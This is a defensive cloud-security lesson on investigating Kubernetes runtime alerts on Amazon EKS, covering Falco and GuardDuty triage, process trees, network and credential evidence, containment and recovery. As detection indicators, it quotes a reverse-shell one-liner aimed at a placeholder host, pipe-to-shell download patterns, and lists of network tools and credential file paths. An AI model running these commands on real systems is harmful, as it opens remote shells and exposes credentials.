Lesson 06 — Runtime Investigation

Learning Objectives

By the end of this lesson, you will be able to:

Explain the purpose of Kubernetes runtime investigation
Differentiate preventive controls from runtime detection
Identify common runtime attack techniques
Interpret runtime alerts from Falco and Amazon GuardDuty
Investigate suspicious processes inside containers
Analyse process trees and parent-child relationships
Review container network connections and DNS activity
Investigate sensitive file and credential access
Identify indicators of privilege escalation and container escape
Correlate runtime findings with Kubernetes Audit Logs and AWS telemetry
Contain suspicious workloads while preserving evidence
Build an enterprise Kubernetes runtime-investigation workflow

Why This Matters

Security controls such as:

Image scanning
Admission policies
Kubernetes RBAC
Pod Security Admission
Network Policies
Secrets management

help prevent insecure workloads from reaching production.

However, they cannot guarantee that a running application will remain secure.

An attacker may exploit:

A vulnerable application
A malicious dependency
Stolen credentials
A zero-day vulnerability
An exposed management endpoint
A compromised CI/CD pipeline
A misconfigured privileged workload

Runtime investigation focuses on what a workload actually did after it started.

Secure Image

↓

Approved Deployment

↓

Application Starts

↓

Application Exploited

↓

Suspicious Runtime Behaviour

↓

Runtime Alert

↓

Investigation

For a Cloud Security Engineer, runtime investigation provides the evidence required to determine whether an alert represents:

Legitimate administrative activity
Application malfunction
Policy violation
Malware execution
Credential theft
Container escape
Active compromise

What is Runtime Investigation?

Runtime investigation is the process of collecting, analysing and correlating evidence generated while containers and Kubernetes workloads are running.

It examines:

Processes
System calls
Files
Network connections
DNS activity
Linux capabilities
Container namespaces
Credentials
Runtime security findings
Kubernetes API activity
AWS service activity

The objective is to answer:

What Happened?

↓

Which Process Performed It?

↓

Which Container Was Affected?

↓

Which Identity Was Used?

↓

Which Files or Credentials Were Accessed?

↓

Did Activity Spread Beyond the Container?

↓

What Must Be Contained?

Preventive Security Versus Runtime Security

Preventive Control	Runtime Investigation
Blocks insecure deployment	Analyses behaviour after deployment
Scans images	Detects running malware
Enforces security context	Detects privilege escalation
Restricts network access	Investigates suspicious connections
Limits permissions	Detects credential misuse
Validates configuration	Identifies actual attacker activity

Both are required.

Prevent

+

Detect

+

Investigate

+

Respond

Runtime Investigation Scope

Runtime Investigation

├── Runtime Alert
├── Pod and Container
├── Running Processes
├── Process Tree
├── File Activity
├── Network Connections
├── DNS Requests
├── Linux Capabilities
├── Service Account
├── Workload IAM Role
├── Runtime Security Agent
├── Kubernetes Audit Logs
└── Cloud and Network Telemetry

Common Runtime Security Incidents

Examples include:

Interactive shell execution
Reverse shell
Malware execution
Cryptomining
Unexpected package installation
Privilege escalation
Sensitive file access
Service Account token theft
AWS credential theft
Container escape attempt
Runtime socket access
Host filesystem access
Security-agent tampering
Unauthorised network scanning
Data exfiltration
Command-and-control communication

Runtime Attack Lifecycle

Initial Access

↓

Code Execution

↓

Process Discovery

↓

Credential Access

↓

Privilege Escalation

↓

Internal Reconnaissance

↓

Lateral Movement

↓

Data Collection

↓

Exfiltration

Runtime evidence may reveal one or several stages of this attack lifecycle.

Runtime Investigation Principles

During a runtime investigation:

Preserve evidence before deleting the workload.
Record every command and action.
Capture volatile evidence quickly.
Avoid installing tools inside the affected container.
Investigate all containers in the Pod.
Review process ancestry, not only process names.
Correlate runtime alerts with audit and cloud logs.
Assume accessible credentials may be compromised.
Escalate to node forensics when host compromise is suspected.
Rebuild compromised workloads from trusted images.

Runtime Investigation Workflow

Runtime Alert

↓

Validate Alert

↓

Identify Cluster, Pod and Container

↓

Preserve Pod Metadata

↓

Capture Processes and Connections

↓

Review File and Credential Access

↓

Review Security Context and Identity

↓

Correlate Logs and Telemetry

↓

Determine Scope

↓

Contain Workload

↓

Eradicate Root Cause

↓

Recover and Improve Controls

Runtime Detection Sources

Runtime investigations may begin from:

Falco
Amazon GuardDuty Runtime Monitoring
Tetragon
Cilium Hubble
Commercial container-security platforms
Kubernetes Audit Logs
SIEM alerts
Prometheus alerts
Application logs
VPC Flow Logs
DNS telemetry
CloudWatch alarms

Falco

Falco is an open-source runtime security engine that detects suspicious behaviour using rules based on runtime events.

Falco may detect:

Shell execution
Unexpected processes
Sensitive file access
Package-manager execution
Privileged activity
Container escape indicators
Credential access
Network tools
Changes to system binaries

Falco Detection Architecture

Linux Kernel

↓

System Calls or eBPF Events

↓

Falco Engine

↓

Falco Rule

↓

Runtime Alert

↓

SIEM or Incident Platform

Example Falco Alert

Priority:

Warning

Rule:

Terminal shell in container

Container:

payment-api

Pod:

payment-api-7d8f9c

Namespace:

payments

Process:

bash

User:

root

The alert is only the starting point.

The investigator must determine:

Who started the shell?
Was it an approved debugging session?
What commands were executed?
Which credentials were accessible?
Did the process connect externally?
Did the activity reach the host?

Amazon GuardDuty Runtime Monitoring

Amazon GuardDuty Runtime Monitoring may generate findings for suspicious runtime activity involving supported Amazon EKS workloads.

Potential findings may relate to:

Reverse shells
Malware
Cryptomining
Credential access
Suspicious process activity
Container escape indicators
Unexpected network behaviour

GuardDuty Investigation Context

A GuardDuty finding may include:

AWS account
Region
Cluster
Namespace
Pod
Container
Image
Process
Severity
Network destination
Runtime context
Time range

Correlate the finding with:

Kubernetes Audit Logs
CloudTrail
Pod logs
Runtime security alerts
VPC Flow Logs
DNS logs
Image scan results

eBPF Runtime Telemetry

eBPF allows security tools to observe Linux kernel activity with relatively low overhead.

It may provide visibility into:

Process execution
File operations
Network connections
System calls
Privilege changes
Namespace activity
Container identity

Container Process

↓

Linux System Call

↓

eBPF Sensor

↓

Runtime Event

↓

Detection Rule

↓

Alert

Initial Investigation Questions

When a runtime alert is received, determine:

Which cluster generated the alert?
Which namespace and Pod are affected?
Which container triggered it?
Which process was involved?
What was the parent process?
Which user executed the process?
Was the process expected?
Which image was running?
Which node hosted the Pod?
Which Service Account was used?
Was external communication observed?
Is immediate containment required?
Is host compromise suspected?

Identify the Affected Pod

kubectl get pods -A -o wide

Inspect the affected Pod:

kubectl describe pod <pod-name> \
  -n <namespace>

Record:

Pod UID
Node
Pod IP
Container names
Container IDs
Images
Image IDs
Service Account
Restart count
Security context
Volumes
Events

Preserve the Pod Manifest

kubectl get pod <pod-name> \
  -n <namespace> \
  -o yaml \
  > pod.yaml

Also preserve JSON:

kubectl get pod <pod-name> \
  -n <namespace> \
  -o json \
  > pod.json

Preserve Container Logs

Current logs:

kubectl logs <pod-name> \
  -n <namespace> \
  -c <container-name> \
  --timestamps \
  > current-container.log

Previous logs:

kubectl logs <pod-name> \
  -n <namespace> \
  -c <container-name> \
  --previous \
  --timestamps \
  > previous-container.log

Previous logs are especially important when the container restarted after suspicious activity.

Preserve Runtime Alerts

Export the original alert with:

Detection rule
Timestamp
Severity
Cluster
Namespace
Pod
Container
Process
Command line
User
Parent process
Source and destination
Raw event
Detection-engine version

Do not rely only on a screenshot.

Preserve machine-readable alert data where possible.

Process Investigation

Processes are one of the most important runtime evidence sources.

Where approved:

kubectl exec <pod-name> \
  -n <namespace> \
  -c <container-name> \
  -- ps auxww

Process tree:

kubectl exec <pod-name> \
  -n <namespace> \
  -c <container-name> \
  -- ps -ef --forest

Suspicious Processes

Look for:

bash
sh
dash
curl
wget
nc
ncat
socat
python
perl
ruby
Package managers
Cryptomining binaries
Unknown executables
Processes running from writable directories

These processes are not always malicious.

Their context determines risk.

Process Context

For every suspicious process, determine:

Executable path
Command line
Parent process
User ID
Start time
Working directory
Open files
Network connections
Environment
Linux capabilities
Container and Pod identity

Process Tree Analysis

A suspicious process tree may look like:

nginx

↓

sh

↓

curl

↓

chmod

↓

/tmp/miner

This may indicate:

The application process was exploited.
A shell was started.
A payload was downloaded.
Permissions were changed.
Malware was executed.

Parent-Child Relationships

Process names alone may be misleading.

Example:

python

could be:

A legitimate application process
A debugging tool
An attacker executing a payload

Review its parent process and command line.

Legitimate:

application-entrypoint → python application.py

Suspicious:

nginx → sh → python -c <encoded payload>

Command-Line Investigation

Suspicious command patterns include:

curl <URL> | sh

wget <URL> -O /tmp/file

chmod +x /tmp/file

bash -i

python -c <encoded payload>

nc <destination> <port>

base64 -d | sh

Record the exact command without executing it.

Interactive Shell Investigation

A shell inside a production container may result from:

Approved troubleshooting
kubectl exec
Application exploitation
Reverse shell
Malicious image behaviour

Correlate shell execution with:

Kubernetes Audit Logs
Runtime alerts
Application requests
Network connections
User identity
Change or incident ticket

Reverse Shell Investigation

A reverse shell commonly involves:

Container Process

↓

Shell Started

↓

Outbound Connection

↓

Remote Attacker

Possible indicators include:

Shell with network redirection
nc, ncat or socat
Bash /dev/tcp
Python socket payload
Shell connected to an unusual external IP

Example Reverse Shell Pattern

bash -i >& /dev/tcp/example-address/4444 0>&1

Do not execute suspicious commands during investigation.

Network Connection Investigation

Where tools are available:

kubectl exec <pod-name> \
  -n <namespace> \
  -c <container-name> \
  -- ss -plant

or:

kubectl exec <pod-name> \
  -n <namespace> \
  -c <container-name> \
  -- netstat -antup

Record:

Local IP
Local port
Remote IP
Remote port
Protocol
Process
Connection state

Suspicious Network Activity

Investigate:

Unknown public IP addresses
Unexpected listening ports
Mining-pool connections
Connections to newly registered domains
Connections to the instance metadata service
Internal port scanning
Database access from an unexpected workload
Large outbound transfers
Repeated failed connections

DNS Investigation

Review:

CoreDNS logs
Route 53 Resolver logs
DNS security alerts
Runtime findings
Application logs

Look for:

Long encoded subdomains
Domain-generation patterns
Newly observed domains
Repeated failed queries
Direct external resolver use
Known malicious domains

VPC Flow Log Correlation

Use the Pod IP and incident time to identify:

External destinations
Connection frequency
Accepted or rejected traffic
Transfer volume
Internal lateral movement
Scanning patterns

Runtime Alert

+

Pod IP

+

VPC Flow Logs

=

Network Investigation Context

File Activity Investigation

Runtime tools may alert on:

Sensitive file access
File creation
File modification
Executable permission changes
Unexpected binary execution
Access to container credentials

Common locations to inspect include:

/tmp

/var/tmp

/dev/shm

/root

/home

/app

/var/run/secrets

Suspicious File Indicators

Look for:

Recently downloaded executables
Hidden files
Encoded payloads
Shell scripts
Web shells
Cryptomining tools
Archives prepared for exfiltration
Modified application binaries
Files with unexpected executable permissions

File Hashing

For suspicious files:

sha256sum <file-path>

Record:

Evidence ID:

Cluster:

Namespace:

Pod:

Container:

Original Path:

SHA-256:

Collection Time:

Collector:

Evidence Repository:

Sensitive File Access

High-risk file paths may include:

/etc/passwd

/etc/shadow

/root/.ssh

/var/run/secrets

/proc

/sys

/run/containerd

/var/lib/kubelet

Access to host-related paths may indicate misconfiguration or container escape activity.

Service Account Token Investigation

Kubernetes Service Account tokens may be available under:

/var/run/secrets/kubernetes.io/serviceaccount/

Determine:

Whether the token was required
Whether token mounting was disabled
Which RBAC permissions were assigned
Whether the token was used
Whether unusual API calls followed the access

Review Service Account Permissions

kubectl auth can-i --list \
  --as=system:serviceaccount:<namespace>:<service-account>

Check sensitive permissions:

kubectl auth can-i get secrets \
  -n <namespace> \
  --as=system:serviceaccount:<namespace>:<service-account>

kubectl auth can-i create pods \
  -n <namespace> \
  --as=system:serviceaccount:<namespace>:<service-account>

kubectl auth can-i create rolebindings \
  -n <namespace> \
  --as=system:serviceaccount:<namespace>:<service-account>

AWS Workload Credential Investigation

Determine whether the Pod used:

EKS Pod Identity
IRSA
Node IAM credentials
Static access keys

Review CloudTrail for:

STS activity
Secrets Manager access
S3 activity
KMS operations
Database API access
IAM calls
Unusual source addresses
Activity outside expected services

Instance Metadata Access

A compromised Pod may attempt to reach the EC2 metadata endpoint.

Monitor access to:

169.254.169.254

Investigate:

Whether IMDSv2 was enforced
Metadata hop limit
Node IAM role permissions
CloudTrail activity using the node role
Whether Pod-level identity was configured correctly

Package-Manager Execution

Package-manager use inside an immutable production container may be suspicious.

Examples include:

apt
apt-get
yum
dnf
apk
rpm
pip
npm

Possible explanations include:

Legitimate application startup
Debugging
Malware installation
Tool installation by an attacker

Review:

Parent process
Download source
Installed package
User identity
Timing
Network activity

Privilege Escalation Investigation

Indicators include:

Running as root
setuid execution
sudo
Capability changes
Namespace changes
Mount operations
Device access
Privileged container use
Host filesystem access

Review Security Context

kubectl get pod <pod-name> \
  -n <namespace> \
  -o jsonpath='{range .spec.containers[*]}{.name}{"\n"}{.securityContext}{"\n\n"}{end}'

Investigate:

privileged: true

allowPrivilegeEscalation: true

runAsUser: 0

Also review:

Added capabilities
Host namespaces
HostPath
Seccomp
Read-only root filesystem
Device mounts

Dangerous Linux Capabilities

Investigate capabilities such as:

SYS_ADMIN
SYS_PTRACE
NET_ADMIN
SYS_MODULE
DAC_READ_SEARCH
SYS_RAWIO
BPF
PERFMON

These may support:

Host inspection
Traffic manipulation
Kernel activity
Credential access
Escape attempts

Container Escape Investigation

Indicators of possible escape include:

Access to container-runtime sockets
HostPath mount to sensitive directories
Host namespace access
Host process creation
Kernel exploitation
Mount activity
Device access
Node credential use
Security-agent tampering

Runtime Socket Access

Investigate mounts or access to:

/run/containerd/containerd.sock

/var/run/docker.sock

Runtime socket access may allow an attacker to:

Start additional containers
Inspect other workloads
Mount host directories
Execute host-level commands
Bypass Kubernetes controls

Escalate immediately to node forensics.

Host Namespace Indicators

Review:

hostPID: true

hostNetwork: true

hostIPC: true

These settings reduce isolation and may provide visibility into host or other workload activity.

HostPath Investigation

Review any HostPath mounts.

High-risk examples include:

/

/etc

/proc

/sys

/run

/var/lib

/var/lib/kubelet

HostPath access may expose:

Host credentials
Runtime state
Kubernetes files
System logs
Container filesystems

Security-Agent Tampering

Attackers may attempt to:

Stop Falco
Delete runtime agents
Modify detection rules
Disable DaemonSets
Block telemetry
Kill collector processes
Remove SIEM connectivity

Monitor for:

DaemonSet deletion
Agent Pod termination
Missing telemetry
Rule changes
Process termination
Network blocks

Cryptomining Investigation

Indicators include:

Sustained high CPU use
Mining-pool connections
Unknown binaries
Processes named to resemble system services
Large numbers of worker threads
Wallet addresses
Downloaded mining configuration
Unexpected scheduled execution

Correlate:

Prometheus or CloudWatch metrics
Process list
Runtime alerts
DNS logs
VPC Flow Logs
Filesystem evidence

Malware Investigation

Do not perform deep malware analysis directly inside the production cluster.

Instead:

Preserve the suspicious file.
Calculate its hash.
Store it in a protected evidence repository.
Transfer it through approved procedures.
Analyse it in an isolated environment.

Record:

File path
Hash
Process that created it
Download source
Execution time
Network connections
User identity

Image Integrity Investigation

Record the declared image:

kubectl get pod <pod-name> \
  -n <namespace> \
  -o jsonpath='{.spec.containers[*].image}'

Record runtime image IDs:

kubectl get pod <pod-name> \
  -n <namespace> \
  -o jsonpath='{.status.containerStatuses[*].imageID}'

Compare with:

Approved image digest
Registry records
CI/CD deployment evidence
Image signature
Vulnerability scan
SBOM

Runtime Drift

Runtime drift occurs when the running container differs from its original image.

Examples include:

New executable files
Modified application files
Installed packages
Changed configuration
Downloaded tools

Not every change is malicious, but immutable workloads should have limited runtime drift.

Kubernetes Audit Log Correlation

Audit Logs can reveal:

Who created the Pod
Who executed into it
Who modified the Deployment
Who created an ephemeral container
Who accessed Secrets
Who changed RBAC
Who deleted the workload
Whether admission policies allowed an exception

Investigate `pods/exec`

Determine:

User identity
Source IP
User agent
Pod
Container
Namespace
Time
Approval context

A shell alert combined with a legitimate pods/exec event may indicate approved troubleshooting.

A shell alert without an API exec event may indicate application exploitation or a reverse shell.

Investigate Ephemeral Containers

Unexpected ephemeral containers may provide:

Process namespace access
Debugging tools
Network tools
Credential access
Filesystem visibility

Review:

Creator identity
Image
Target container
Time
Change ticket
Commands run

Admission Evidence

Review:

Pod Security Admission warnings
Kyverno PolicyReports
Gatekeeper audit results
Policy exceptions
Webhook logs
Image-verification results

Determine:

Was the workload compliant?
Did an exception allow risky settings?
Did enforcement fail?
Was the policy engine unavailable?
Was the Pod modified by a mutating webhook?

Timeline Reconstruction

Build a unified timeline.

10:02 — Malicious Request Reached Application

10:03 — Application Spawned Shell

10:04 — Payload Downloaded to /tmp

10:05 — Service Account Token Accessed

10:06 — Kubernetes Secrets Listed

10:07 — External Connection Established

10:09 — Runtime Alert Generated

10:11 — Pod Quarantined

Timeline Sources

Use:

Runtime alerts
Application logs
Container logs
Kubernetes Audit Logs
CloudTrail
VPC Flow Logs
DNS logs
File timestamps
Prometheus metrics
Load balancer logs
WAF findings

Determine the Initial Access Vector

Potential causes include:

Remote code execution
Vulnerable application dependency
Malicious image
Unauthorised kubectl exec
Compromised workload identity
CI/CD compromise
Exposed debug endpoint
Unsafe init container
Compromised sidecar
Misconfigured admission exception

Determine the Blast Radius

Investigate:

Suspicious Process

↓

Container

↓

Other Containers in Pod

↓

Mounted Secrets and Volumes

↓

Service Account

↓

Workload IAM Role

↓

Namespace

↓

Worker Node

↓

AWS Services

↓

Other Clusters Using Same Image

Runtime Alert Validation

Not every alert is an incident.

Classify alerts as:

Result	Meaning
True Positive	Malicious activity confirmed
Benign True Positive	Detected behaviour occurred but was authorised
False Positive	Detection logic matched incorrectly
Inconclusive	Evidence is insufficient
Policy Violation	Unsafe but not confirmed malicious
Operational Issue	Behaviour caused by application failure

Document the reasoning.

Alert Context Enrichment

Enrich alerts with:

Business owner
Application
Environment
Data classification
Image digest
Service Account
IAM role
Deployment source
Recent changes
Vulnerabilities
Network exposure
Previous related alerts

Containment Decisions

Containment depends on:

Alert severity
Evidence confidence
Business criticality
Active data exfiltration
Credential exposure
Host compromise indicators
Application availability
Legal requirements

Pod-Level Containment Options

Options include:

Remove the Pod from Service traffic
Apply a quarantine Network Policy
Restrict egress
Scale the workload to zero
Suspend a CronJob
Revoke Pod IAM access
Disable the Service Account
Block the image digest
Remove external ingress
Cordon the hosting node

Quarantine Network Policy

Conceptual example:

apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: quarantine-runtime-incident
  namespace: payments

spec:
  podSelector:
    matchLabels:
      incident-status: quarantined

  policyTypes:
    - Ingress
    - Egress

Test emergency policies before incidents occur.

Credential Containment

Revoke or rotate:

Service Account tokens
Pod Identity or IRSA access
Database credentials
Secrets Manager secrets
API keys
TLS certificates
Third-party tokens
Node credentials if exposed

Node Containment

Escalate to node containment when evidence indicates:

Runtime socket access
Host filesystem access
Host process execution
Kernel exploitation
Node IAM credential theft
Agent tampering
Other Pods affected

Possible actions:

Cordon the node
Isolate network access
Preserve host evidence
Snapshot storage
Drain after evidence collection
Replace the node

Evidence Collection Checklist

Runtime Alert

Pod Evidence

Process Evidence

Network Evidence

Identity Evidence

File Evidence

Security Evidence

Chain of Custody

Every evidence item should include:

Evidence ID:

Incident ID:

Cluster:

Namespace:

Pod:

Container:

Source:

Collector:

Collection Time:

Collection Method:

SHA-256:

Evidence Repository:

Access Restrictions:

Eradication

After containment and evidence preservation:

Patch the vulnerable application.
Remove malicious files.
Rebuild the container image.
Remove excessive capabilities.
Restrict the Service Account.
Reduce IAM permissions.
Remove unsafe HostPath mounts.
Fix the CI/CD pipeline.
Update runtime rules.
Remove insecure policy exceptions.
Replace compromised nodes where necessary.

Recovery

Redeploy using:

Trusted source code
Approved dependencies
Clean build runners
Scanned image
Signed image
Immutable digest
Secure Pod configuration
Least-privilege identity
Validated Network Policies
Active runtime monitoring

Recovery Validation

Confirm:

Correct image digest
No suspicious processes
No unexpected network connections
Credentials rotated
Service Account permissions reduced
IAM role restricted
Runtime alerts active
Audit logging functioning
Application healthy
No repeated indicators
Node remains trustworthy

Detection Rule Tuning

After the incident, review whether the rule:

Detected the correct activity
Generated sufficient context
Fired quickly enough
Produced duplicate alerts
Missed related behaviour
Used the correct severity
Identified the correct owner
Included a useful runbook

Example Falco Rule Concept

- rule: Unexpected Shell in Production Container

  desc: Detect shell execution in production application containers

  condition: >
    spawned_process and
    container and
    shell_procs and
    k8s_ns_label_environment = "production"

  output: >
    Shell started in production container
    user=%user.name
    command=%proc.cmdline
    container=%container.name
    pod=%k8s.pod.name
    namespace=%k8s.ns.name

  priority: WARNING

Rules should be tested against the deployed Falco version and available fields.

Runtime Detection Categories

Category	Example Detection
Process	Unexpected shell
File	Sensitive file access
Network	Reverse-shell connection
Identity	Service Account token read
Privilege	Capability escalation
Runtime	Container socket access
Persistence	Cron or startup file modification
Defence evasion	Runtime agent stopped
Resource abuse	Cryptomining
Exfiltration	Large external transfer

Enterprise Runtime Investigation Workflow

Runtime Alert

↓

SOC Triage

↓

Identify Pod and Process

↓

Preserve Runtime Evidence

↓

Review Process Tree and Connections

↓

Review Files and Credentials

↓

Correlate Audit and Cloud Logs

↓

Determine Container or Node Scope

↓

Contain Workload

↓

Rotate Credentials

↓

Rebuild Trusted Workload

↓

Update Rules and Controls

↓

Close Incident

Enterprise Runtime Investigation Roles

Role	Responsibility
SOC Analyst	Validate and enrich runtime alert
Cloud Security Engineer	Investigate Kubernetes and AWS evidence
Platform Engineer	Contain workload and node
Application Owner	Explain expected application behaviour
Forensic Analyst	Analyse malware and host evidence
IAM Team	Revoke and rotate identities
Incident Commander	Coordinate decisions and communications
Compliance or Legal	Manage reporting and evidence requirements

Common Runtime Investigation Mistakes

Deleting the Pod Immediately

Risk: Processes, connections and temporary files are lost.

Response: Preserve evidence and quarantine before deletion where possible.

Treating Every Shell as Malicious

Risk: Legitimate support activity creates unnecessary incidents.

Response: Correlate with pods/exec, user identity and change records.

Ignoring the Parent Process

Risk: The initial exploitation path is missed.

Response: Analyse the complete process tree.

Installing Tools in the Container

Risk: Evidence becomes contaminated.

Response: Use approved ephemeral or external forensic tooling.

Focusing Only on Process Names

Risk: Renamed or disguised malware is missed.

Response: Review paths, hashes, ancestry, connections and behaviour.

Ignoring Cloud Credentials

Risk: AWS service compromise is overlooked.

Response: Review workload and node IAM activity.

Ignoring Network Telemetry

Risk: Command-and-control or exfiltration is missed.

Response: Correlate runtime findings with DNS and VPC Flow Logs.

Missing Node Escalation

Risk: Container escape remains undetected.

Response: Escalate when host-level indicators appear.

Reusing the Compromised Image

Risk: Malware or vulnerable code is redeployed.

Response: Rebuild from trusted source and verify the image.

Closing the Alert Without Rule Review

Risk: Detection gaps and repeated false positives continue.

Response: Tune rules and improve alert context after every investigation.

Enterprise Best Practices

As a Cloud Security Engineer:

Enable runtime monitoring on production clusters.
Integrate Falco, GuardDuty or equivalent findings with the SIEM.
Preserve raw runtime alerts.
Enrich alerts with Kubernetes and business context.
Collect Pod metadata and logs immediately.
Capture process trees, not only process names.
Record active network connections.
Review DNS and VPC Flow Logs.
Investigate Service Account and workload IAM permissions.
Treat accessible credentials as potentially compromised.
Review sensitive file and runtime socket access.
Escalate to node forensics when host compromise is suspected.
Avoid modifying compromised containers unnecessarily.
Use tested quarantine Network Policies.
Preserve suspicious files and calculate hashes.
Rebuild workloads from trusted signed images.
Validate security controls after recovery.
Tune runtime rules after each investigation.
Conduct controlled runtime attack simulations.
Maintain runtime-investigation runbooks and evidence templates.

Real-World Scenario

A multinational financial organisation operates a customer payment API on Amazon EKS.

Falco generates a critical alert indicating:

A shell was spawned by the payment API process.
The shell downloaded an executable into /tmp.
The executable opened an outbound connection to an unknown IP.
The process attempted to read the Kubernetes Service Account token.

Amazon GuardDuty also creates a runtime finding for suspicious process execution.

The incident-response team begins a runtime investigation.

They:

Identify the affected cluster, namespace, Pod and container.
Export the Pod YAML and JSON.
Preserve current and previous application logs.
Export the original Falco and GuardDuty alerts.
Capture the process tree.
Confirm that the application process launched /bin/sh.
Identify curl downloading a binary into /tmp.
Calculate the binary’s SHA-256 hash.
Capture the external network connection.
Review DNS and VPC Flow Logs.
Confirm that the destination is associated with malicious activity.
Review the Service Account permissions.
Discover that the Service Account can list Secrets.
Review CloudTrail and identify Secrets Manager access using the workload role.
Apply an emergency Network Policy to isolate the Pod.
Remove the Pod from application traffic.
Revoke the workload IAM role association.
Rotate application and database credentials.
Preserve the suspicious binary and image for forensic analysis.
Patch the vulnerable application dependency.
Rebuild and scan the container image.
Sign and deploy the replacement image by digest.
Restrict Service Account and IAM permissions.
Add an admission policy requiring a read-only root filesystem.
Update runtime rules to detect similar process trees.

The investigation confirms that a remote-code-execution vulnerability allowed an attacker to launch malware inside the container.

The response prevents lateral movement and limits credential exposure.

Key Takeaways

Runtime investigation determines what a workload actually did after deployment.
Runtime alerts must be validated using process, file, network and identity evidence.
Process ancestry is essential for identifying the initial compromise path.
Shell execution may be legitimate or malicious depending on context.
Reverse shells combine suspicious process and network activity.
Service Account and workload IAM permissions define the potential blast radius.
Sensitive file, token and runtime socket access require immediate investigation.
Kubernetes Audit Logs and CloudTrail provide essential identity context.
Runtime findings should be correlated with DNS and VPC Flow Logs.
Host-level indicators require escalation to node forensics.
Compromised workloads should be rebuilt from trusted images.
Runtime rules should be tuned after every investigation.

Knowledge Check

1. What is the main purpose of runtime investigation?

Answer: Runtime investigation determines what occurred inside a running workload by analysing processes, files, network connections, credentials and security telemetry.

2. Why is process-tree analysis important?

Answer: A process tree shows parent-child relationships and helps identify how an application process launched a shell, downloader, malware or other suspicious process.

3. How can investigators distinguish legitimate `kubectl exec` activity from application exploitation?

Answer: They can correlate shell execution with Kubernetes Audit Logs, user identity, source IP, user agent and approved change or incident records.

4. When should a runtime investigation escalate to node forensics?

Answer: Escalation is required when there are indicators such as runtime socket access, HostPath access to sensitive directories, host process execution, kernel exploitation, node credential theft or security-agent tampering.

5. Why should workload credentials be rotated after a confirmed compromise?

Answer: An attacker may have copied or used the Service Account token, IAM role credentials, database credentials or other secrets accessible to the compromised workload.

What’s Next?

In the next lesson, we will explore Kubernetes Malware Analysis, including safe malware collection, file hashing, static and dynamic analysis, container-image inspection, Indicators of Compromise and isolated investigation workflows.

➡️ Next Lesson: Lesson 07 — Malware Analysis

Lesson 06 — Runtime Investigation

Learning Objectives

Why This Matters

What is Runtime Investigation?

Preventive Security Versus Runtime Security

Runtime Investigation Scope

Common Runtime Security Incidents

Runtime Attack Lifecycle

Runtime Investigation Principles

Runtime Investigation Workflow

Runtime Detection Sources

Falco

Falco Detection Architecture

Example Falco Alert

Amazon GuardDuty Runtime Monitoring

GuardDuty Investigation Context

eBPF Runtime Telemetry

Initial Investigation Questions

Identify the Affected Pod

Preserve the Pod Manifest

Preserve Container Logs

Preserve Runtime Alerts

Process Investigation

Suspicious Processes

Process Context

Process Tree Analysis

Parent-Child Relationships

Command-Line Investigation

Interactive Shell Investigation

Reverse Shell Investigation

Example Reverse Shell Pattern

Network Connection Investigation

Suspicious Network Activity

DNS Investigation

VPC Flow Log Correlation

File Activity Investigation

Suspicious File Indicators

File Hashing

Sensitive File Access

Service Account Token Investigation

Review Service Account Permissions

AWS Workload Credential Investigation

Instance Metadata Access

Package-Manager Execution

Privilege Escalation Investigation

Review Security Context

Dangerous Linux Capabilities

Container Escape Investigation

Runtime Socket Access

Host Namespace Indicators

HostPath Investigation

Security-Agent Tampering

Cryptomining Investigation

Malware Investigation

Image Integrity Investigation

Runtime Drift

Kubernetes Audit Log Correlation

Investigate pods/exec

Investigate Ephemeral Containers

Admission Evidence

Timeline Reconstruction

Timeline Sources

Determine the Initial Access Vector

Determine the Blast Radius

Runtime Alert Validation

Alert Context Enrichment

Containment Decisions

Pod-Level Containment Options

Quarantine Network Policy

Credential Containment

Node Containment

Evidence Collection Checklist

Runtime Alert

Pod Evidence

Process Evidence

Network Evidence

Identity Evidence

File Evidence

Security Evidence

Chain of Custody

Investigate `pods/exec`

3. How can investigators distinguish legitimate `kubectl exec` activity from application exploitation?